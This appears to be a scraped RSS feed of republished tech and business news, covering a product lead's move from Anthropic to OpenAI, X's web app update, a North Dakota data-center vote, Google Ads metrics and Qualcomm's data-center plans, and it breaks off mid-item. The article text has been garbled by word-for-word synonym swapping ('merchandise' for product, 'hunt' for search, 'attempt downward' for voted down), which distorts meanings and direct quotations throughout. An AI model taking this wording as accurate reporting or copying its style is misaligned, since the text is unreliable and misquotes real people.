<?xml version="1.0" encoding="UTF-8" ?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0"> <channel> <title><![CDATA[MC Project]]></title> <description><![CDATA[Global digital products and freelance services. Focuses on development, production and distribution of programming scripts, application source code, plugins, themes and templates.]]></description> <image> <title><![CDATA[MC Project]]></title> <url>https://en.mycoding.id/favicon.ico</url> <link>https://en.mycoding.id/</link> </image> <category><![CDATA[Software Engineering, Website Development, Mobile Android App, Application Source Code, Programming Scripts]]></category> <link>https://en.mycoding.id/</link> <atom:link href="https://en.mycoding.id/rss.xml" rel="self" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/rss-videos.xml" rel="alternate" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/" rel="alternate" type="text/html"/> <pubDate>Thu, 05 Nov 2026 01:57:29 +0700</pubDate> <lastBuildDate>Thu, 05 Nov 2026 01:57:29 +0700</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <managingEditor>support@mycoding.id (Adi Gunawan)</managingEditor> <webMaster>support@mycoding.id (Adi Gunawan)</webMaster> <language>en_US</language> <copyright>MC Project</copyright> <generator>MC Project</generator> <item> <title><![CDATA[Cat Wu joins OpenAI from Anthropic in huge product-lead coup]]></title> <description><![CDATA[Cat Wu joins OpenAI from Anthropic in huge product-lead coup. Cat Wu remaining Anthropic final week following becoming among the company's highest-profile merchandise managers and is now joining competitor OpenAI.]]></description> <media:thumbnail url="https://i.insider.com/6aebcf7e9270da3cc666842d?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/cat-wu-joins-openai-from-anthropic-in-huge-product-lead-coup-75709</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6aea5c4012aca86a55f548c7?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6aea5c4012aca86a55f548c7?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6aea5c4012aca86a55f548c7?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6aea5c4012aca86a55f548c7?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6aea5c4012aca86a55f548c7?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6aea5c4012aca86a55f548c7?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6aea5c4012aca86a55f548c7?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Cat Wu, who led the merchandise flank of Claude Code at Anthropic, stands on stage." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Cat Wu, who led the merchandise flank of Claude Code at Anthropic, remaining the AI startup for competitor OpenAI.</span> <span> <span e-name="image-source" itemprop="creditText">Don Feria/AP Content Services for Anthropic</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Cat Wu</a>, who remaining Anthropic final week following becoming among the company's highest-profile merchandise managers, is joining OpenAI. She announced the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">news on X.</a></p><p>Poaching Wu from its archrival is a important coup for OpenAI. Wu was the merchandise chief for <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Claude Code</a> and had rotate into among the blockbuster app's notable evangelists on social media. She oversaw the tool's increase from an inner prototype to a business juggernaut that <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">has bolstered</a> the two Anthropic's finances and the day-to-day activity of application engineers.</p><p>Now, she'll assistance Anthropic's elder rival, foremost merchandise administration for OpenAI's center products team. She wrote in the notice article that she has "a lot of regard for OpenAI" and cited its broad attain of complete 1 milliard users.</p><p>OpenAI's Codex, a tool akin to Claude Code, has boosted the company's growth and, additional recently, has increasingly been pointed at non-technical work. AI models' coding abilities and their capability to grip long-term tasks are now chief to the industry's expanding ambitions.</p><p>Wu announced her departure from Anthropic on Tuesday, penning that she'd remaining final week and thanking Claude Code's squad and person base. The exit arrived fair a brace of weeks before Anthropic's planned <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">initial community offering</a>, as the startup pitches its financials to investors and tries to coast up its growth narrative.</p><p>OpenAI confirmed that Wu is joining the company. Anthropic declined to comment. </p><p>On X, Wu wrote that she had "no idea" if leaving would authorize her to market her shares before than remaining employees, and stated it "wasn't a aspect for me."</p><p>She additionally wrote rear to a inquiry concerning whether she'd be taking period off alongside the response, "post agi!," a citation to the industry goal of "artificial broad intelligence."</p><p>Her article on Wednesday, announcing her move to OpenAI, said, "we'll build agents that have your rear and your team's, and keep you in control, so you get additional period for the group and activity you love."</p> <p>This isn't the archetypal period Wu remaining Anthropic for a competitor since joining in summer 2024. She and Claude Code creator Boris Cherny departed for AI coding startup Cursor in 2025, but quickly boomeranged to Anthropic, The Information reported at the time.</p><p>She and Cherny led Claude Code's fast increase delayed that twelvemonth and into 2026, buoyed by new AI example capabilities for code-writing work. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Software developers</a> flocked to the tool, and eventually to OpenAI's version, Codex, as improvements enabled them to automate additional and additional of the coding process.</p><p>Wu did not react to a petition for comment. Before Anthropic, she worked as a partner at Index Ventures, which would eventually co-lead Anthropic's September 2025 backing round.</p><p><em>Have a tip? Contact this newsman via email at </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow"><em>scouncil@businessinsider.com</em></a><em>, or complete text, Signal, Telegram, or WhatsApp at 415-757-8198. Use a individual email address, a non-work WiFi network, and a non-work device; </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">here's our guide</a><em> to sharing data securely.</em></p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Stephen is a elder tech newsman at Business Insider, covering OpenAI, Anthropic and the ecosystem about the foremost synthetic intellect companies.</span><span>Previously he covered innovation at SFGATE, and has written for The Wall Street Journal, The Information and CNBC. He studied reporting and economics at Northwestern University.</span><span>His activity has earned an SF Press Club Investigative Reporting Award and, in 2025, SPJ NorCal&rsquo;s Excellence in Journalism Award for Technology Reporting.</span><span>Stephen lives in San Francisco. Contact him via&nbsp;email at&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank">scouncil@businessinsider.com</a>, or on Signal, Telegram, or WhatsApp at 415-757-8198. Use a individual email address, a nonwork WiFi network, and a nonwork device; <a href="https://en.mycoding.id/category/business" target="_blank">here's our guide to sharing data securely</a>.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/cat-wu-joins-openai-from-anthropic-in-huge-product-lead-coup-75709</guid> <pubDate>Thu, 05 Nov 2026 01:57:29 +0700</pubDate> <author><![CDATA[support@mycoding.id (Stephen Council)]]></author> </item> <item> <title><![CDATA[X says its updated web app is way faster]]></title> <description><![CDATA[X says its updated web app is way faster. X is introducing a new type of its web app that it says is much faster than before, and it's now rolling out the updated app "one nation at a time" for sign...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2025/07/STK160_X_TWITTER_2__A.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/x-says-its-updated-web-app-is-way-faster-75708</link> <content:encoded><![CDATA[<div><div><div><div><div><p><a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Jay Peters" data-chromatic="ignore" loading="lazy" width="36" height="36" decoding="async" data-nimg="1" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/JAY_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=48 1x, https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/JAY_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96 2x" src="https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/JAY_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96"></a></p><div><p><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span id="follow-author-standard_article_details-dmcyOmF1dGhvclByb2ZpbGU6MTIz"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span></span><span>Jay Peters</span></span></span></p> <p><span>is a elder newsman covering technology, gaming, and more. He joined The Verge in 2019 following nearly two years at Techmeme.</span></p></div></div></div></div></div><div id="zephr-anchor"><p>X is introducing a new type of its web app that it says is much faster than before, and it&rsquo;s now rolling out the updated app &ldquo;one nation at a time&rdquo; for signed-in users.</p><p>&ldquo;Open a overview on X.com complete a dilatory connection,&rdquo; chief engineer Yagiz Nizipli <a href="https://en.mycoding.id/category/technology" target="_blank">said in a blog post</a> concerning the changes. &ldquo;On the old web app, you&rsquo;d gaze at the X logo for additional than 22 seconds before the archetypal article appeared. On the new one, it shows up in 2.7.&rdquo; The article additionally goes into specialized item concerning how the updated app &ldquo;replaces the three servers we used to run for people, hunt crawlers, and nexus previews alongside one.&rdquo;</p><p>Security investigator Jane Manchun Wong posted that she had admission to the updated app, and <a href="https://en.mycoding.id/category/technology" target="_blank">said it</a> &ldquo;feels snappy, loads accelerated and many parts are polished.&rdquo;</p><p>The new app is already accessible for the logged-out type of <a href="https://en.mycoding.id/category/technology" target="_blank">X.com</a> and for the pages that are crawled by hunt engines, Nizipli said.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6MTIz"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Jay Peters</span></span></span></li><li><li><li></ul></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/x-says-its-updated-web-app-is-way-faster-75708</guid> <pubDate>Thu, 05 Nov 2026 01:25:12 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jay Peters)]]></author> </item> <item> <title><![CDATA[SpaceX – Starfall]]></title> <description><![CDATA[SpaceX – Starfall. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/spacex-starfall-75710</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/spacex-starfall-75710</guid> <pubDate>Thu, 05 Nov 2026 01:18:18 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Introducing Images 2.6]]></title> <description><![CDATA[Introducing Images 2.6. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/introducing-images-2-6-75704</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/introducing-images-2-6-75704</guid> <pubDate>Thu, 05 Nov 2026 00:35:44 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Local privilege escalation vulnerabilities in Linux]]></title> <description><![CDATA[Local privilege escalation vulnerabilities in Linux. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/local-privilege-escalation-vulnerabilities-in-linux-75705</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/local-privilege-escalation-vulnerabilities-in-linux-75705</guid> <pubDate>Thu, 05 Nov 2026 00:33:14 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[This tiny North Dakota town was the only place to vote in support of data centers]]></title> <description><![CDATA[This tiny North Dakota town was the only place to vote in support of data centers. Among 45 data center propositions on the ballot during the midterms, lone one small town voted against reining them in.]]></description> <media:thumbnail url="https://i.insider.com/6aeba3849270da3cc666833b?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/this-tiny-north-dakota-town-was-the-only-place-to-vote-in-support-of-data-centers-75703</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6aeba37b308912814ed71009?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6aeba37b308912814ed71009?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6aeba37b308912814ed71009?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6aeba37b308912814ed71009?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6aeba37b308912814ed71009?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6aeba37b308912814ed71009?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6aeba37b308912814ed71009?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="The data center under building in Harwood, North Dakota, recedes into the mist." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>The data center under building in Harwood, North Dakota, is faintly apparent in the mist.</span> <span> <span e-name="image-source" itemprop="creditText">Mike Swartz</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Voters delivered a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">stern rebuke of data centers</a> in ballot propositions throughout the nation on Tuesday.</p><p>Except in one small North Dakota town.</p><p>The citizens of Harwood, who figure concerning 940, attempt downward a measure that would have stated residents a greater say in how ample projects, specified as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">AI data centers</a>, are constructed in the town.</p><p>The ballot wasn't exactly close, either. Some 325 voted against the measure, compared to 105 who voted for it, according to the North Dakota Secretary of State's office.</p><p>Of all 45 data-center-related propositions on the ballot throughout the nation on Tuesday, Harwood stood out as the sole constituency in assistance of them. The another 44 cut on the anti-data-center side, according to Redbud Consulting, a ballot tracking firm.</p><p>And for residents of Harwood, the matter is germane. A $3 milliard AI data center equal in size to 17 football sectors is under building in the community's backyard. The business construction it hopes to employ 200 group &mdash; a figure equal to concerning 20% of the city's population.</p><p>"It's frustrating," Mark Coolidge, a 59-year-old inhabitant who voted for the measure, told Business Insider.</p><p>"We are the group that have to live alongside this category of industry as a neighbor," stated Mike Swartz, a 47-year-old inhabitant who advocated for the proposition. "Do we not have any say in what we desire for the community several have vested decades into calling their home?"</p><p>In an interview, Blake Hankey, the chief executive of Harwood, stated he didn't assistance the measure. He stated the tongue of the proposition was imprecise and that several of the stipulations "would have been financially burdensome to a city our size."</p> <p>"This amendment to the residence regulation charter wasn't strictly aimed at data centers," he said. "It was any benevolent of endeavor coming to town."</p><p>He additionally stated the proposition wasn't a referendum on data centers. "It wasn't if there was going to be a moratorium," he added.</p><p>The proposition, should it have passed, would not have affected the existing data center, which is set to be completed next year.</p><p>Rather, it would have applied to all forthcoming building projects that met a criteria of scale. For instance, a new gas position wouldn't have qualified, but a new ample data center would be topic to autonomous assessments and mandatory community hearings.</p><p>Swartz stated the measure was necessary since group in town were "blindsided" by how quickly the current data center was approved.</p><p>"Many in town didn't equal cognize what that was or meant," he said. "Yet it lone took 21 days from the period it was announced to the period building began."</p><p>Hankey, who stated he signed a non-disclosure accord alongside Applied Digital, the business construction the data center, described the decision as one he and the city assembly had to create quickly, lest neighboring Fargo got the agreement first.</p><p>"I don't regret signing it," he stated of the NDA. "Had I not, that data center would nearly certainly be in the city of Fargo correct now, without any benevolent of revenue tax or asset tax for our community."</p><p>As important developers, including SpaceX, Microsoft, Google, Amazon, OpenAI, and others, search new AI data centers to power their products, they've encountered rigid opposition at town halls and city councils throughout the United States. Americans concern concerning the ecological impact, concerning electric bills, or the h2o supply. Many fair don't akin AI.</p><p>After a sequence of contentious city assembly meetings in Harwood, including one in which anti-data-center protesters were ejected by sheriffs, Coolidge stated Swartz gathered adequate signatures to formally put the proposition on the ballot.</p><p>Voters ultimately attempt it down, Swartz and Coolidge said, in part since group in town disagreed alongside whether the measure would additionally use to smaller buildings and businesses, fairly than fair ample ones.</p><p>Applied Digital did not react to a petition for comment on Wednesday.</p><p>"It's all concerning money," Coolidge said. "They could provision a rip concerning us as citizens."</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Truman Dickerson is the Weekend News Fellow at Business Insider, based in New York City. He covers trending tech and endeavor news. He earlier reported for The Boston Globe's Express Desk. He graduated from Boston University, anywhere he served as publishing company in chief of The Daily Free Press, BU's student-run newspaper.Contact him at Tdickerson@insider.com</span> </p> </div> </div> <div> <div> <p><span>Natalie is a elder newsman on Business Insider's Business News squad covering the AI and data center boom.</span><span>She was earlier on BI's Legal Affairs team, anywhere she handled important cases coming out of province and national court, as fine as bankruptcy. Her safety frequently focused on stories at the intersection of law, business, politics, and technology. Natalie has covered Donald Trump&rsquo;s <a href="https://en.mycoding.id/category/business" target="_blank">criminal</a> and <a href="https://en.mycoding.id/category/business" target="_blank">civil cases</a>, the motion of lawsuits against the second Trump administration, the indictment and offender test of <a href="https://en.mycoding.id/category/business" target="_blank">Sean &ldquo;Diddy&rdquo; Combs</a>, the shooting death of UnitedHealthcare CEO <a href="https://en.mycoding.id/category/business" target="_blank">Brian Thompson</a>, and the lawful battles facing <a href="https://en.mycoding.id/category/business" target="_blank">Elon Musk</a> and his companies.&nbsp;</span><span>Natalie came to Business Insider in June 2021 as a breaking news reporter, focusing on the most engaging angles on the day's trending news. Natalie mostly drove BI&rsquo;s safety about the <a href="https://en.mycoding.id/category/business" target="_blank">fatal &ldquo;Rust&rdquo; shooting</a> involving Alec Baldwin and the disappearance and murder of <a href="https://en.mycoding.id/category/business" target="_blank">Gabby Petito</a>.</span><span>Prior to joining BI, Natalie worked for the <a href="https://en.mycoding.id/category/business" target="_blank">New York Post</a>, the New York Daily News, and The Brooklyn Paper. She has an extended backdrop covering infringement and courts. During her additional than 12-year reporting career, she did a stint covering the constabulary attack out of the New York Police Department's headquarters. Natalie, a Brooklyn native, graduated from Brooklyn College in 2012 alongside a flat in journalism.&nbsp;</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/this-tiny-north-dakota-town-was-the-only-place-to-vote-in-support-of-data-centers-75703</guid> <pubDate>Thu, 05 Nov 2026 00:09:39 +0700</pubDate> <author><![CDATA[support@mycoding.id (Truman Dickerson,Natalie Musumeci)]]></author> </item> <item> <title><![CDATA[Successful People (2013)]]></title> <description><![CDATA[Successful People (2013). Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/successful-people-2013-75706</link> <content:encoded><![CDATA[<div id="post_body_57403"> <div><p>"Successful group create companies. &nbsp;More prosperous group create countries. &nbsp;The most prosperous group create religions."</p><p>I heard this from Qi Lu; I'm not certain what the origin is. &nbsp;It got me thinking, though--the most prosperous founders do not set out to create companies. &nbsp;They are on a goal to create item nearer to a religion, and at several item it turns out that forming a business is the easiest way to do so.</p><p>In general, the big companies don't arrive from pivots, and I think this is most of the logic why.</p></div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/successful-people-2013-75706</guid> <pubDate>Thu, 05 Nov 2026 00:01:19 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Google Ads Explains Difference With Search Terms Match Type (Keywords)]]></title> <description><![CDATA[Google Ads Explains Difference With Search Terms Match Type (Keywords). Ginny Marvin, the Google Ads Liaison, explained why the Google Ads interface has two distinct metrics named hunt conditions equivalent type. One is named "Search terms...]]></description> <media:thumbnail url="https://images.seroundtable.com/google-ads-search-terms-match-type-keywords-N8fYuJnI.png"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/google-ads-explains-difference-with-search-terms-match-type-keywords-75698</link> <content:encoded><![CDATA[<div class="order-4 order-4 text-lg"> <p><img src="https://images.seroundtable.com/google-ads-match-types-FUUloexm.jpg" alt="Google Ads Match Types"></p><p>Ginny Marvin, the Google Ads Liaison, explained why the Google Ads interface has two distinct metrics named hunt conditions equivalent type. One is named "Search conditions equivalent type" and the another is named "Search conditions equivalent category (Keywords)."</p><p>Mike Ryan posted on <a href="https://en.mycoding.id/category/business" target="_blank">X</a> concerning this and wrote, "I awareness a disturbance in the force." Heh... He stated "Google has for several logic divided hunt term equivalent category into two metrics. The new "(keywords)" type lone covers bequest vanilla equivalent types &amp; lone for Search campaigns. AI Max &amp; another run types are covered via the non-(keywords) version."</p><p>Here is his screenshot:</p><p><a href="https://en.mycoding.id/category/business" target="_blank" target="_blank"><img src="https://images.seroundtable.com/google-ads-search-terms-match-type-keywords-N8fYuJnI.png" alt="Google Ads Search Terms Match Type Keywords"></a></p><p>The Google Ads Liaison, Ginny Marvin, afterward explained what the differences are between the two - she stated on <a href="https://en.mycoding.id/category/business" target="_blank">X</a>, "Those two sectors map to two distinct places in the UI (and there’s one nuance to be conscious of correct now):"</p><p></p><ul><li>“Search conditions equivalent category (Keywords)” (the former field, which we renamed for a bit additional clarity) maps to the “Search conditions equivalent type” segmentation on the Keywords tab.</li> <li>“Search conditions equivalent type” is the newly added site that maps to the “Match type” pillar on the Search conditions tab. Note that correct now, you need to have the “Search term” pillar included in your Report Editor study for “Search conditions equivalent type” to come back all equivalent types (like AI Max); the squad is operating on a follow-up fix so it additionally returns all equivalent types whenever used in summary tables without the “Search term” column."</li></ul><p>Interesting to know... </p><p>Forum conversation at <a href="https://en.mycoding.id/category/business" target="_blank">X</a>.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/google-ads-explains-difference-with-search-terms-match-type-keywords-75698</guid> <pubDate>Wed, 04 Nov 2026 23:45:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Barry@Rustybrick.com (Barry Schwartz))]]></author> </item> <item> <title><![CDATA[Qualcomm is betting big on data centers as smartphone sales sink]]></title> <description><![CDATA[Qualcomm is betting big on data centers as smartphone sales sink. With smartphone revenue tanking by about 20 percent compared to 2025, Qualcomm is looking to data centers to assistance boost its base line. During its Q4 2026 earni...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/chorus/uploads/chorus_asset/file/24007992/acastro_STK082_qualcomm_02.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/qualcomm-is-betting-big-on-data-centers-as-smartphone-sales-sink-75697</link> <content:encoded><![CDATA[<div><div><div><div><div><p><a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Terrence O&#039;Brien" data-chromatic="ignore" loading="lazy" width="36" height="36" decoding="async" data-nimg="1" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=48 1x, https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96 2x" src="https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96"></a></p><div><p><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span id="follow-author-standard_article_details-dmcyOmF1dGhvclByb2ZpbGU6NjA5MzU0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span></span><span>Terrence O'Brien</span></span></span></p> <p><span>is the Verge&rsquo;s weekend editor. He&rsquo;s covered the tech industry for complete 18 years and knows a item or two concerning synths.</span></p></div></div></div></div></div><div id="zephr-anchor"><p>With smartphone revenue <a href="https://en.mycoding.id/category/technology" target="_blank">tanking by about 20 percent</a> compared to 2025, Qualcomm is looking to data centers to assistance boost its base line. During its <a href="https://en.mycoding.id/category/technology" target="_blank">Q4 2026 earnings</a> call, the business laid out its plans to create a scatter in the AI data center business, through partnerships alongside companies akin <a href="https://en.mycoding.id/category/technology" target="_blank">Amazon</a> and <a href="https://en.mycoding.id/category/technology" 